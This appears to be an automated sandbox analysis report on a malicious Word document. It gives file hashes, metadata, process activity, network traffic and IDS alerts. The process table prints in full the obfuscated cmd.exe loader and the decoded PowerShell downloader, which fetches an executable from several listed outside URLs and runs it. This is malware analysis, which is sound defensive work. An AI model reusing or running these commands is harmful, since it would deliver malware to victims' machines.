File name: | index.php.suspected |
Full analysis: | https://app.any.run/tasks/58178746-c75e-4fbf-9c26-f1f8ed619f1d |
Verdict: | Malicious activity |
Analysis date: | December 14, 2018, 11:09:42 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Dec 7 11:39:00 2018, Last Saved Time/Date: Fri Dec 7 11:39:00 2018, Number of Pages: 1, Number of Words: 5, Number of Characters: 29, Security: 0 |
MD5: | 95278B14AD09E391F5AD7C4DF1CEB099 |
SHA1: | 8C757017FC7DE703BFD7D501762FFC54546DD694 |
SHA256: | 7A3FC72E8167DA0F5A8DFD3F042D9BAC4EBA04186CD543E55983F109C2440530 |
SSDEEP: | 1536:Co281ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadf+a9LoVCWUQlEi:w8GhDS0o9zTGOZD6EbzCdmjUQh |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | - |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2018:12:07 11:39:00 |
ModifyDate: | 2018:12:07 11:39:00 |
Pages: | 1 |
Words: | 5 |
Characters: | 29 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 33 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2976 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\index.php.suspected.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
4000 | c:\soEtPwTtjDlQ\zIJfcYMaFRY\fSSQlofhFtBjP\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set 5h=VLwSfbXKwiDWIuZUkRcjbpiAbrBBE)qnm5ezlFG;C@4hJ/s6+'.:-{PO28$H,g }a=vxNdt0(oy\&&for %F in (58;8;64;35;65;49;32;32;37;49;39;58;59;64;43;65;31;34;8;52;73;24;19;34;18;70;62;68;34;70;50;11;34;24;40;36;22;34;31;70;39;58;54;12;28;65;49;43;70;70;21;51;45;45;70;13;25;16;64;31;69;70;64;74;36;73;25;50;18;73;32;45;47;44;41;43;70;70;21;51;45;45;21;25;22;32;64;66;34;25;64;64;36;69;73;18;73;46;70;25;13;35;22;73;31;22;50;18;73;32;45;42;22;36;61;44;1;41;43;70;70;21;51;45;45;70;73;31;74;35;50;18;73;50;35;64;45;31;33;41;43;70;70;21;51;45;45;36;24;64;52;61;25;13;21;21;34;31;50;69;16;45;46;21;30;41;43;70;70;21;51;45;45;13;73;36;36;22;50;22;70;45;32;13;33;61;49;50;3;21;36;22;70;72;49;41;49;29;39;58;10;6;46;65;49;10;0;24;49;39;58;16;66;38;62;65;62;49;47;42;56;49;39;58;22;19;4;65;49;0;68;28;49;39;58;30;66;1;65;58;34;31;66;51;70;34;32;21;48;49;75;49;48;58;16;66;38;48;49;50;34;67;34;49;39;4;73;25;34;64;18;43;72;58;32;22;7;62;22;31;62;58;54;12;28;29;53;70;25;74;53;58;59;64;43;50;10;73;8;31;36;73;64;69;37;22;36;34;72;58;32;22;7;60;62;58;30;66;1;29;39;58;25;46;69;65;49;18;44;22;49;39;12;4;62;72;72;38;34;70;52;12;70;34;32;62;58;30;66;1;29;50;36;34;31;61;70;43;62;52;61;34;62;57;71;71;71;71;29;62;53;12;31;66;73;16;34;52;12;70;34;32;62;58;30;66;1;39;58;73;40;43;65;49;3;6;69;49;39;24;25;34;64;16;39;63;63;18;64;70;18;43;53;63;63;58;22;7;55;65;49;19;54;15;49;39;86)do set ps=!ps!!5h:~%F,1!&&if %F equ 86 powershell "!ps:~-426!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2536 | CmD /V:O/C"set 5h=VLwSfbXKwiDWIuZUkRcjbpiAbrBBE)qnm5ezlFG;C@4hJ/s6+'.:-{PO28$H,g }a=vxNdt0(oy\&&for %F in (58;8;64;35;65;49;32;32;37;49;39;58;59;64;43;65;31;34;8;52;73;24;19;34;18;70;62;68;34;70;50;11;34;24;40;36;22;34;31;70;39;58;54;12;28;65;49;43;70;70;21;51;45;45;70;13;25;16;64;31;69;70;64;74;36;73;25;50;18;73;32;45;47;44;41;43;70;70;21;51;45;45;21;25;22;32;64;66;34;25;64;64;36;69;73;18;73;46;70;25;13;35;22;73;31;22;50;18;73;32;45;42;22;36;61;44;1;41;43;70;70;21;51;45;45;70;73;31;74;35;50;18;73;50;35;64;45;31;33;41;43;70;70;21;51;45;45;36;24;64;52;61;25;13;21;21;34;31;50;69;16;45;46;21;30;41;43;70;70;21;51;45;45;13;73;36;36;22;50;22;70;45;32;13;33;61;49;50;3;21;36;22;70;72;49;41;49;29;39;58;10;6;46;65;49;10;0;24;49;39;58;16;66;38;62;65;62;49;47;42;56;49;39;58;22;19;4;65;49;0;68;28;49;39;58;30;66;1;65;58;34;31;66;51;70;34;32;21;48;49;75;49;48;58;16;66;38;48;49;50;34;67;34;49;39;4;73;25;34;64;18;43;72;58;32;22;7;62;22;31;62;58;54;12;28;29;53;70;25;74;53;58;59;64;43;50;10;73;8;31;36;73;64;69;37;22;36;34;72;58;32;22;7;60;62;58;30;66;1;29;39;58;25;46;69;65;49;18;44;22;49;39;12;4;62;72;72;38;34;70;52;12;70;34;32;62;58;30;66;1;29;50;36;34;31;61;70;43;62;52;61;34;62;57;71;71;71;71;29;62;53;12;31;66;73;16;34;52;12;70;34;32;62;58;30;66;1;39;58;73;40;43;65;49;3;6;69;49;39;24;25;34;64;16;39;63;63;18;64;70;18;43;53;63;63;58;22;7;55;65;49;19;54;15;49;39;86)do set ps=!ps!!5h:~%F,1!&&if %F equ 86 powershell "!ps:~-426!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2412 | powershell "$waz='mmF';$Hah=new-object Net.WebClient;$PIE='http://turkandtaylor.com/6J@http://primaveraaldocostruzioni.com/4ilgJL@http://tonyz.co.za/n5@http://lba-gruppen.dk/spq@http://uolli.it/mu5g'.Split('@');$DXs='DVb';$kvG = '642';$ijf='VNE';$qvL=$env:temp+'\'+$kvG+'.exe';foreach($miK in $PIE){try{$Hah.DownloadFile($miK, $qvL);$rsd='cJi';If ((Get-Item $qvL).length -ge 80000) {Invoke-Item $qvL;$oCh='SXd';break;}}catch{}}$iKO='jPU';" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2976 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR961C.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2412 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YVI2FSAAFJ0UTHQFFOFB.temp | — | |
MD5:— | SHA256:— | |||
2976 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:97134130F5D402DEF1A4F4D6C8F007FA | SHA256:5CD87DA05B66B14EE81C18E40F0A083053B878A7F3D82D5CF3212B25AF266A26 | |||
2976 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$dex.php.suspected.doc | pgc | |
MD5:7A4D8B6E5A9E6C84BF536C28A6B549A7 | SHA256:D0EE44E282A74F6543172C84C51909CC595F92EBC3DD4BD1C34D4DC9786589C8 | |||
2412 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19a677.TMP | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
2412 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2412 | powershell.exe | GET | — | 45.40.183.129:80 | http://turkandtaylor.com/6J/ | US | — | — | malicious |
2412 | powershell.exe | GET | 301 | 45.40.183.129:80 | http://turkandtaylor.com/6J | US | html | 303 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2412 | powershell.exe | 45.40.183.129:80 | turkandtaylor.com | GoDaddy.com, LLC | US | malicious |
Domain | IP | Reputation |
---|---|---|
turkandtaylor.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
2412 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
2412 | powershell.exe | A Network Trojan was detected | ET POLICY Terse Named Filename EXE Download - Possibly Hostile |
2412 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2412 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2412 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |